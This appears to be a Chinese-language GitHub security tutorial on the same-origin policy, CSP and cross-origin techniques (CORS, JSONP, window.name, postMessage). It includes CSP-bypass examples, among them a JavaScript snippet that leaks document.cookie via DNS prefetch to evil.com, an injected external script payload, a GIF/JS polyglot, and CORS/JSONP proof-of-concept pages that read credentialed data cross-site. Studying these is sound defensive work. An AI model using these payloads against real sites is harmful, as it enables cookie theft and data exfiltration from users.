Skip to content

Latest commit

 

History

History
519 lines (403 loc) · 25.5 KB

web_x_SOP.md

File metadata and controls

519 lines (403 loc) · 25.5 KB

同源策略(SOP)

浏览器的同源策略(Same-origin policy) 规定:非同源的 客户端脚本(主要指JavaScript) 在没明确授权的情况下,不能读写非同源的资源。

  • 非同源的资源(客户端安全威胁都是围绕这些资源进行)
    • HTTP header
    • 整个DOM树(Document Object Model)
    • 浏览器存储 如Cookies、Flash Cookies、localStorage...
  • 同源策略的"例外" 其实同源策略本来就没对以下跨域资源嵌入做限制(可以通过CSP限制)
    • 说明 - 可以在当前域下进行"跨域资源嵌入" 来"展示"非当前域的资源 如CSS/JavaScript/图片
    • 原理 - 因为浏览器限制了非同域资源的权限 如非同域JavaScript不能真正 读 写 非同域的资源
    • 举例
      • <link>标签 通常使用href属性来指定css资源. (因为浏览器下载css文件的同时 不会停止对当前Document的处理) 如<link href="common.css" rel="stylesheet"/>
      • <img>标签 嵌入跨域图片. 通常使用src属性来指定资源 支持图片格式PNG,JPEG,GIF,BMP,SVG...
      • <script>标签 嵌入跨域脚本. 通常使用src属性来指定资源. 浏览器解析到该元素时 会暂停其他资源的下载和处理(直到该资源加载且执行结束后才会继续) 下载资源并应用到当前Document中. 如<script src ="test.js"></script>
      • <iframe>标签 通常使用src属性来指定资源 会下载资源并应用到当前Document中

同源策略的意义

同源策略限制了非同源的客户端脚本的权限。

  • 如果浏览器没有同源策略:
    • 例1 访问mail.com并登录mailA账户 的同时也访问了另一个网站E.com,网站E.com的JavaScript可以跨域读取mail.com的cookie,即获取到了mailA账户在mail.com的登录权限
    • 例2 访问Evil.com 该站点使用JavaScript获取mail.com的表单输入框的内容 从而捕获用户输入的数据 并很容易将数据发到Evil.com 盗取对应内容

判断是否同源

  • 两个url有相同的protocol host port则同源
    • protocol 协议必须完全相同 如httphttps互为非同源
    • host 域名必须完全相同 如www.a.comsub.a.coma.com 三者互为非同源
    • port 端口必须完全相同 如:80:443:8080 三者互为非同源

内容安全策略(CSP)

对比 SOP 同源策略 CSP 内容安全策略
简介 web安全重要基础 增加安全性(CSP像是SOP的额外补充) web后端需设置后浏览器才会启用
作用 不同源的隔离(但不管跨域资源嵌入) CSP用白名单限制"跨域资源"的源 能够减轻XSS漏洞的危害 报告XSS攻击
执行 由浏览器实现 由浏览器实现

配置CSP

  • 启用CSP - 开发者通过HTTP Response来启用CSP 同时指明具体策略

    • 方法1 通过设置Response Header 格式为Content-Security-Policy: <policy-directive>; <policy-directive>
      • 每条策略<policy-directive>都包括了 "指令" 和一个或多个值 "来源". 格式为<directive> <value> 中间是个空格.
    • 方法2 通过设置Response Body meta标签 (不建议 浏览器对它的兼容性不如方法1) <meta http-equiv="Content-Security-Policy" content="xxx">
  • CSP全部指令

    • 获取指令(Fetch directives)
      • script-src 这个指令限制了"被允许的JavaScript来源"(allowed sources for JavaScript). 能够限制的范围:<script>标签、event handlers(onclick等)、CSS(能执行JavaScript的地方)
      • style-src 这个指令限制了"CSS的源"(sources for stylesheets).
      • child-src 能够限制的范围: 标签<frame> <iframe>. 想要控制"嵌套内容"(nested browsing contexts)和workers则应该使用frame-src指令 和 worker-src指令.
      • connect-src 这个指令限制了可以使用"脚本接口"(script interfaces)加载的URL.
      • default-src 这个指令作为其他所有"获取指令"(Fetch directives) 的一个fallback. 即如果CSP header中没有一个fetch指令,那么浏览器将以default-src指令为准.
      • font-src 这个指令限制了"字体的来源"(sources of web fonts).
      • frame-src 这个指令限制了"嵌套内容加载的来源"(sources for nested browsing contexts). 能够限制的范围:标签<frame> <iframe>
      • img-src 这个指令限制了images和favicons的来源.
      • manifest-src这个指令限制了"应用manifest文件的来源"(sources of application manifest files).
      • media-src 这个指令限制了"加载媒体资源的来源"(sources for loading media). 能够限制的范围:标签<audio> <video> <track>
      • object-src 这个指令限制了标签<object> <embed> <applet> 中的来源.
      • ...
    • Document directives
      • base-uri 这个指令限制了document中<base>标签内使用的URL 如<base href="http://www.w3schools.com/images/">
      • ...
    • Navigation directives
      • form-action 这个指令限制了form表单提交的目标URL <form action="/some_path">
      • ...
    • Reporting directives
      • report-uri
      • report-to
    • Other directives
  • CSP每一条指令都有对应的值("来源") 这些"来源"的语法、格式如下

    • * 任何来源
    • ...

严格的CSP可以减轻XSS 例1

  • 攻击场景 - 攻击者利用已知XSS漏洞,构造出一个XSS攻击语句<script src="evil.com/XSSattack1">,注入到目标站a.com的html中.
  • 同源策略 - 同源策略本来就不判断script-src的源,也不会block某个script-src源. 因为攻击脚本在script-src中,所以攻击成功.
  • CSP - 内容安全策略中如果有script-src 'self'浏览器遵循CSP指令,即限制了目标站a.com下的script-src的源(仅允许script-src源为自身下的源).所以这个攻击语句(其中script-src中的源为evil.com)必然被阻止. 攻击失败.

绕过CSP 方法1 - DNS prefetch

  • 绕过原理 - CSP本来就不会完全限制DNS prefetch机制
    • CSP3有prefetch-src指令 可限制link标签的src的源 href的源
  • 绕过过程
    • 攻击者构造输入 - 找到一处XSS漏洞 能够执行JavaScript脚本 但因严格的CSP,导致无法将数据(cookie等)发送给攻击者
    • 浏览器执行策略 - 浏览器执行相对严格的CSP策略Content-Security-Policy: default-src 'self'也无法限制DNS prefetch机制
    • 监听 - 攻击者在evil.com上记录DNS请求 即可得到数据(cookie等)
  • 结论 - 不够严格的CSP 可被绕过实现数据泄露

实验:在 https://jsbin.com 中粘贴以下代码,进行测试

<html>
<head>
  <!-- CSP -->
  <meta http-equiv="Content-Security-Policy" content="default-src 'none';prefetch-src 'self';">
</head>
<body>
  <!-- DNS prefetching test -->
<link rel="dns-prefetch" href="//111dns-prefetch-href.evil.com">
<link rel="dns-prefetch" src="//222dns-prefetch-src.evil.com">
<link rel="prefetch" href="//333prefetch-href.evil.com">
<link rel="prefetch" src="//444prefetch-src.evil.com"> 
</body>
</html>

测试结果:

在chrome浏览器(版本 79.0.3945.88)中 访问 jsbin.com(该网站设置了CSP)

开发者模式 console中的内容如下:
Refused to prefetch content from 'https://333prefetch-href.evil.com/' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'prefetch-src' was not explicitly set, so 'default-src' is used as a fallback.

可知 第3种link标签会被jsbin.com设置的CSP阻止:   <link rel="prefetch" href="//333prefetch-href.evil.com">

然而第1种link标签 <link rel="dns-prefetch" href="//111dns-prefetch-href.evil.com">能够"bypass" jsbin.com设置的CSP 向evil.com发送数据.

evil.com成功接收到jsbin.com(该网站设置了CSP)发出的DNS请求的数据:

The Collaborator server received a DNS lookup of type A for the domain name :
111dns-prefetch-href.evil.com

JavaScript PoC - 实测chrome浏览器(版本 79.0.3945.88)中 可利用vul.com(该网站设置了CSP)的存储型XSS漏洞,"绕过"其CSP 获取到cookie

原理:构造以下代码并执行. 作用是创建link标签并添加到body dom解析该标签时 就会以dns-prefetch机制发出DNS请求(携带数据)到evil.com

var evildomain = "evil.com";
l=document.createElement('link');
document.body.appendChild(l);
l.rel="dns-prefetch";
var data1 = document.cookie.substring(1,2);//取全部或部分cookie 注意:如果data1字符串中带有分号空格等字符 需要处理以符合域名命名规范
l.href = "//" + data1 + "." + evildomain;

evil.com成功接收到vul.com的数据:

The Collaborator server received a DNS lookup of type A for the domain name :
g1.evil.com

绕过CSP 方法2 - web应用设计问题导致策略注入

绕过Paypal的CSP(chrome) Bypassing CSP with policy injection

  • 绕过原理 - 前提是该web应用的设计存在缺陷 即response的Content-Security-Policy这个header用户可控
  • 绕过过程
    • 攻击者构造输入 - 使原本的CSP策略最末尾的report-uri /report-csp之后跟上了"攻击者注入的策略" ;script-src-elem * (指定<script>元素的有效源为*) 此时CSP策略变为Content-Security-Policy: script-src 'none'; report-uri /report-csp;script-src-elem *
    • 浏览器执行策略 - 浏览器依据规范CSP: script-src-elem中的优先级script-src-elem > script-src > default-src 即如果前者存在则使用前者的配置(后者配置无效) 所以这个案例中浏览器会执行script-src-elem的配置 不会使用策略中原本的script-src的配置 所以浏览器会允许<script>元素的有效源为*
    • XSSpayload <script src="http://evil.net/xss.js"></script> 执行成功

使用策略注入绕过CSP 在线靶场 chrome下XSS成功触发

Request

GET /edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E HTTP/1.1
Host: portswigger-labs.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 11 Oct 2019 07:01:13 GMT
Server: Apache/2.4.37 (Amazon) OpenSSL/1.0.2k-fips
X-XSS-Protection: 0
Content-Security-Policy: script-src 'none'; report-uri /test;script-src-elem *
Content-Length: 75
Connection: close
Content-Type: text/html; charset=UTF-8


<script src="http://subdomain1.portswigger-labs.net/xss/xss.js"></script>

绕过CSP 方法3 - 策略不严格

例1 Content-Security-Policy: default-src 'self'; script-src *;

绕过CSP 方法4 - 借助上传功能

如果web应用有上传功能,可以借助上传功能上传自定义JavaScript代码。

构造一个包含JavaScript的图片文件,内容为

GIF89a=//<script>
alert(1)//</script>

上传成功后看到该文件的域名,如果该域名符合CSP策略,则利用XSS漏洞时可"绕过"CSP执行自定义JavaScript代码。


如何允许跨源访问-方案

  • Cross-Origin Resource Sharing (CORS)"跨域资源共享"是实现跨域的标准方法(W3C标准) - 允许任何http method的跨Origin请求. 了解更多

  • 实现跨域的其他办法

    • JSONP - 特点:只支持GET method 且无法双向传输数据
    • window.postMessage(message,targetOrigin) - 该HTML5方法可从当前window对象向其他的window对象发送消息 不论这两个窗口是否同源
    • Web Sockets
    • location.hash与iframe 跨域传值 - 数据容量有限制 数据类型有限制
    • window.name与iframe 跨域数据传输 - window对象的name参数可以在多标签内共享
    • flash

例1 - CORS

  • Request A.com ---req--> B.com
    • 发起请求的域 - Origin字段中的http://A.com 表示该Request是一个从http://A.com发起的跨域HTTP请求
    • 访问的目标域 - HostHeader中的B.com就是该请求期望访问的目标域
GET /resources/public-data/ HTTP/1.1
Host: B.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://A.com/examples/access-control/simpleXSInvocation.html
Origin: http://A.com
  • Response A.com <--resp--- B.com
    • 目标域(被访问的)通过自身后端设置headerAccess-Control-Allow-Origin来决定 接受来自哪些域的请求:
      • B.com给出的响应中 如果有headerAccess-Control-Allow-Origin: * 则表示:B.com的资源 可以接收并响应来自任何域的request
      • B.com给出的响应中 如果有headerAccess-Control-Allow-Origin: http://A.com 则表示:B.com的资源 只可以接收并响应来自指定域http://A.com的request
    • 注意
      • 只有B.com给出的响应中 HTTP响应头 Access-Control-Allow-Origin 里明确指定了允许 http://A.com 访问 http://B.com 的资源时,http://A.com网站的客户端脚本才有权(通过XHR等)对目标域 http://B.com 上的资源进行读写操作。
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2.0.61 
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml

[XML Data]

  • 使用CORS实现跨域 常见的安全风险
    • "CORS错误配置漏洞"(CORS misconfiguration)
      • B.com的Response Header有Access-Control-Allow-Origin: *则存在漏洞, 即B.com可以接收并响应来自任何域的request, 存在"跨站信息泄露"(cross-site leak)等风险. 应该设置"源域名白名单".
  • attack
    • 步骤(1) 攻击者在evil.com(被目标站CORS信任的域都行) 用脚本(JavaScript)实现 "发起跨域request的代码" 参考PoC1 PoC2 PoC3
    • 步骤(2) 正常用户 登录过B.com 并访问evil.com (因为B.com后端的CORS未正确配置) 所以从evil.comB.com发出一个跨域请求, 得到了B.com的Response, evil.com获取到了B.com的数据.
  • 用脚本(JavaScript)发送request的方法: 它们遵循SOP CORS 即符合CORS策略时能够发送跨域request

PoC1: poc1_cors_XMLHttpRequest.js

var invocation = new XMLHttpRequest();

  invocation.onreadystatechange = function() {
    if (invocation.readyState == XMLHttpRequest.DONE) {
      console.log(invocation.response); // output result
    }
  }

function cors(){
  if(invocation) {
    invocation.open('GET', "https://www.B.com/content-paywall/api/accesslevel", true);
    invocation.withCredentials = true;
    invocation.send(); 
  }
}

cors();

PoC2: poc2_cors_XMLHttpRequest.html

<h2>CORS To Read the response body of a vulnerable site</h2>
<div id="demo">
<button type="button" onclick="cors()">XHR</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = document.write(this.responseText);
    }
  };
  xhttp.open("GET", "https://chat.vulnerable.com/v2/get-messages?conversationId=469104576&pageSize=3", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

PoC3: poc3_cors__with__FetchAPI.html

  • "跨站信息泄露"(cross-site leak). 当满足以下2个条件时, 通过"读取硬盘缓存的Response"可获取到之前的Response(更可能有敏感数据)! 参考#761726
    • 条件1. 目标站存在CORS漏洞.
    • 条件2. 目标站允许缓存. 即Response Header的Cache-Controlheader不存在, 或者这个header存在并说明了"允许缓存".
<html>
<script>
var url1 = "https://B.com/x.json"; // B.com has the CORS misconfiguration!

obj1 = {    
    method: 'GET',    
    cache: 'force-cache' //强制读取硬盘中的缓存 (from disk cache). 实测不会真正发出request.
    }

fetch(url1,obj1)
  .then(function(response) { //Response
    // return response.text(); // Promise
    return response.json(); // Promise
  })
  .then(function(Json1) {
    console.log(Json1); // output result
  });

</script>
</html>

PoC4: poc4_cors__for__Origin_null__with__iframe.html

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script> var url1 = "https://B.com/x.json"; obj1 = {method:"GET",mode: "cors",credentials:"include",};fetch(url1,obj1).then(function(response) {return response.text(); return response.json();}).then(function(Json1) {console.log(Json1);});</script>'></iframe>
credentials: "include" //表示发送HTTP请求到目标域 会带上浏览器存储的这个目标域的(一部分)cookie
// 在Chrome浏览器下, 具体能带上目标域的哪些cookie呢? 
// (只?)取决于 这个cookie的 SameSite属性的值!  与httponly属性没有任何关系.
// 情况(1) 如果某个cookie的SameSite属性的值为 None 
//        那么这个cookie 能够 被HTTP请求带上.
//        这些cookie 被它的server显式指定了SameSite属性的值.
// 情况(2) 如果某个cookie的SameSite属性的值为 空 则默认值为Lax(Chrome >= 80)
//        那么这个cookie 不能 被HTTP请求带上!
  • 使用CORS实现跨域 安全的方案(修复方案)
    • 业务"后端"实现Origin白名单,把信任的域加入Origin白名单. 如果HTTP request中的Origin不在白名单内,则对应的HTTP Response不带这2个Header.
      • 对Origin如果不信任,则HTTP Response不带这2个Header
      • Access-Control-Allow-Origin: white.com
      • Access-Control-Allow-Credentials: true

例2 - JSON with Padding

  • 根本原因 - JSONP可以"跨域"的根本原因是<script>标签能够("绕过"同源策略)请求其他域名的资源 如<script src="http://www.3.com/jquery.js"></script>
  • 理解 - json是目的 JSONP是手段 Padding指的是callback(回调函数)
  • 大致过程 - 域A.com下的JavaScript脚本 从域A.com发送HTTP请求到域B.com 得到B.com的响应 响应内容为json格式的数据(这样的数据符合JavaScript语法) 此时域A.com下的JavaScript脚本 得到的具体数据 并把它作为实参 传递给域A.com下的回调函数 实现使用数据

首先在域A.com的前端 有JavaScript脚本如下:

// 在body中添加一个 <script>标签
var tag_script = document.createElement('script');
tag_script.src = 'http://database.B.com/info?callback_name=foo'; // A.com告诉外部的服务器B 回调函数的函数名是foo .即要求B.com的响应 能在A.com下的JavaScript脚本里执行 如foo({"token": "XXXX"}); 
// 为什么不能直接写成json数据 如`{"token": "XXXX"}`呢? 因为在JavaScript上下文里 这样写无法调用任何函数. 即无法实现调用回调函数foo
document.body.appendChild(tag_script);

// foo函数 是域A.com的一个函数.
// 当B.com的后端 响应"数据"后, A.com的JavaScript会调用名为foo的回调函数(callback)
function foo(data) {
console.log('[A.com] Your token is: ' + data.token);
};
  • JSONP详细步骤分析
    • 域A.com有一个script标签 src属性的值为域B.com下的http://database.B.com/info?callback_name=foo 即从域A.com发出GET请求到域B.com URL中的参数callback_name的参数值为foo 三个字母组成的字符串.
    • 非同域 域B.com的后端 得到了刚刚从域A.com发出的GET请求 也就得到了来自域A的字符串foo (foo 其实是函数名, 是域A.com的客户端JavaScript代码中定义的回调函数的函数名)
    • 非同域 域B.com的后端 设置响应内容为foo({"token": "XXXX"}); 这样做是为了把具体数据返回给域A.com下的JavaScript
      • 注意域B.com的Response Header中Content-Type的值必须是JavaScript 即text/javascriptapplication/javascript
    • 域A.com的JavaScript脚本 得到响应内容 foo({"token": "XXXX"});
    • 域A.com的JavaScript脚本 把json数据 {"token": "XXXX"}作为实参 传入域A.com下的名为foo的函数(域A.com下早已定义了这个回调函数)

就这样通过JSONP的方式实现了: 域A.com 的JavaScript脚本拿到了来自 域B.com的数据 {"token": "XXXX"} 是json格式的数据

  • 使用JSONP实现跨域 常见安全风险
    • JSONP Injection
      • 前提条件:B.com没有校验request header origin Referer的值是否为可信的域(A.com), 就响应了"数据", 则B.com存在JSONP Injection漏洞.
      • 利用方式:攻击者参考域A.com的jsonp代码(正常业务),在攻击者的域evil.C.com下构造JavaScript代码发出请求(访问域B.com的数据), 即可在在攻击者的域evil.C.com下获取到B.com的响应内容 foo({"token": "XXXX"});

已知B.com存在JSONP Injection漏洞时,在攻击者的域evil.C.com下使用JavaScript代码,可获取来自B.com的数据:

<script>
function foo(data){ // The function is named `foo`. It is a callback function.
	alert("[evil.C.com] Your token is: " + data.token);
}

</script>

<script src="http://database.B.com/info?callback_name=foo"></script>

例3 - JSON with Padding(jQuery实现)

jQuery可以使用匿名函数

$.ajax({
    url:"http://database.B.com/open.php?callback=?",
    dataType:"jsonp",
    success:function(data){
        console.log(data);
        //ToDo..
    }
});

例4 - 利用window.name与iframe实现跨域

跨域传输数据原理:window对象的name参数可以在多标签内共享

在域a.com的a.html中创建iframe标签并设置iframe.src为b.com(外域)的地址iframe.src = 'http://b.com/b.html';

在b.com(外域)的b.html中设置window.name = 'xxx';

此时在域a.com的a.html中,能获取到刚才在b.com(外域)设置的window.name

a.com的a.html的内容:

<script>
var iframe = document.createElement('iframe');//在域a.com下创建一个iframe元素

iframe.src="https://b.com/b.html"; //在域a.com下的/a.html 设置这个iframe元素的src属性的值为http://b.com/b.html

document.body.appendChild(iframe);


iframe.onload=function(){

// 在a.com下 得到来自外域b.com的数据

var data1 = iframe.contentWindow.name;
var data2 = iframe.contentWindow.location.href;

alert(data1);
alert(data2);

console.log("get data:",data1);
console.log("get data:",data2);

}
</script>

b.com的b.html的内容:

<script>
    // 需要传输的数据
    // 数据格式可以自定义:json 字符串...
    // 数据量:一般为2M,Firefox下约32M
    window.name = 'data_in_domain_b.com';
</script>

例5 - window.postMessage

window.postMessage(message,targetOrigin) - 该HTML5方法可从当前window对象向其他的window对象发送消息 不论这两个窗口是否同源

message 为将要发送的消息,消息类型只能为字符串
targetOrigin 用来指定即将接收到消息的window对象所在的那个域 (可以使用通配符`*`不限定域)
  • 在线演示 - 使用window.postMessage跨域

  • 使用window.postMessage跨域传输数据 常见安全风险

    • XSS漏洞 - 产生原因:没有验证数据来源的域(即MessageEvent.origin的值),就直接接受数据并进行业务逻辑处理. 如github/securitylab#118
  • 使用window.postMessage跨域传输数据 安全的方案(修复方案)

    • 步骤1.确定白名单 - 根据业务逻辑确定"数据来源的域"白名单,在前端JavaScript(浏览器端)中使用这个白名单.
    • 步骤2.验证来源域 - 在业务前端对"数据来源的域"进行验证,如使用indexOfstartsWith来验证MessageEvent.origin的值,确认它是白名单内可信域名之一,才进行业务逻辑处理.

例6 - location.hash与iframe

html中的锚链接

<a href='#简介'>click</a>

如在本页面中跳转到"简介": 开发者模式输入 location.hash="#简介"